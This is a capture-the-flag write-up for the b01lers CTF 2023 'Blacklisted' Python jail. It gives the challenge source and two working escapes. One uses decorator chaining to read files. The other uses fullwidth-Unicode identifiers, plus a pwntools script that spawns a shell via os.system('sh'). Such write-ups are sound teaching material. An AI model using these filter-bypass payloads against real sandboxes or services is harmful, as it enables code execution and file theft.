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b01lers CTF 2023 Blacklisted

blacklist = "._0x/|?*[]{}<>\"'=()\\\t "
blacklist2 = ['eval', 'exec', 'compile', 'import', 'os', 'sys', 'cat', 'ls', 'exit', 'list', 'max', 'min', 'set', 'tuple']

def validate(code):
    for char in blacklist:
        if char in str(code):
            return False
    for word in blacklist2:
        if word in str(code):
            return False
    return True

if __name__ == '__main__':
    print("------------------------------")
    print("Welcome to my very cool python interpreter! \nI hope I blacklisted enough... \nYou can never be too careful with these things...")
    print("Send an empty line to run!")
    print("------------------------------")
    safe_code = ""
    while (True):
        unsafe_code = input(">>> ")
        if (unsafe_code == ""):
            try:
                exec(safe_code)
            except:
                print("Error executing!")
            break
        unsafe_code = unsafe_code.replace("open", "")
        unsafe_code = unsafe_code.replace("print", "")
        if (not validate(unsafe_code)):
            print("Invalid code!")
            continue
        safe_code += str(unsafe_code)+ "\n"

Requirements:

  1. No ., _, parentheses, brackets, quotes, spaces, tabs: use @f decorator syntax to call functions without parens, and form feed \x0c as whitespace
  2. open and print stripped: write oopenpen and pprintrint — after stripping, only open and print remain
  3. Blacklisted words (exec, import, os, sys, list, max, min, set, tuple): use sorted instead of list, input instead of exec+input

Challenge archive here.

Solution 1: @print @sorted @open @input (official)

Official writeup here.

The @ decorator calls a function with the class as its argument, letting us bypass the parentheses ban:

@pprintrint
@sorted
@oopenpen
@input
class^LX:pass

This is equivalent to print(sorted(open(input(X)))). The flow:

  1. input(X) — displays the class repr as prompt, reads a filename from stdin
  2. open(filename) — opens the file
  3. sorted(file_object) — reads all lines into a sorted list (file objects are iterable)
  4. print(sorted_lines) — prints the result

The open/print stripping is bypassed by doubling: oopenpen → open, pprintrint → print. Form feed ^L (\x0c) replaces the space in class X:pass.

Flag is read by typing the flag path when prompted:

>>> @pprintrint
>>> @sorted
>>> @oopenpen
>>> @input
>>> class^LX:pass
>>>
secret_folder/flag.txt

Solution 2: @exec @input with NFKC bypass

An alternative approach using fullwidth Unicode characters to bypass the exec and x blacklist.

@\uff45\uff58\uff45\uff43    # fullwidth exec → normalizes to exec
@\uff49\uff4e\uff50\uff55\uff54  # fullwidth input → normalizes to input
class\x0cA:pass

Python NFKC-normalizes identifiers during compilation, so fullwidth ｅｘｅｃ becomes exec. The character blacklist checks for ASCII x (not fullwidth ｘ), and the word blacklist checks for ASCII exec (not ｅｘｅｃ).

This calls exec(input(A)). The input() reads the next line from stdin, and exec() executes it with full builtins access — completely unrestricted.

Attack script:

from pwn import *

context.log_level = 'error'

lines = [
    "@\uff45\uff58\uff45\uff43",
    "@\uff49\uff4e\uff50\uff55\uff54",
    "class\x0cA:pass",
    "",
    "__import__('os').system('sh')",
]

p = process(["python3", "Blacklisted.py"])

for line in lines:
    p.sendline(line.encode())

p.interactive()

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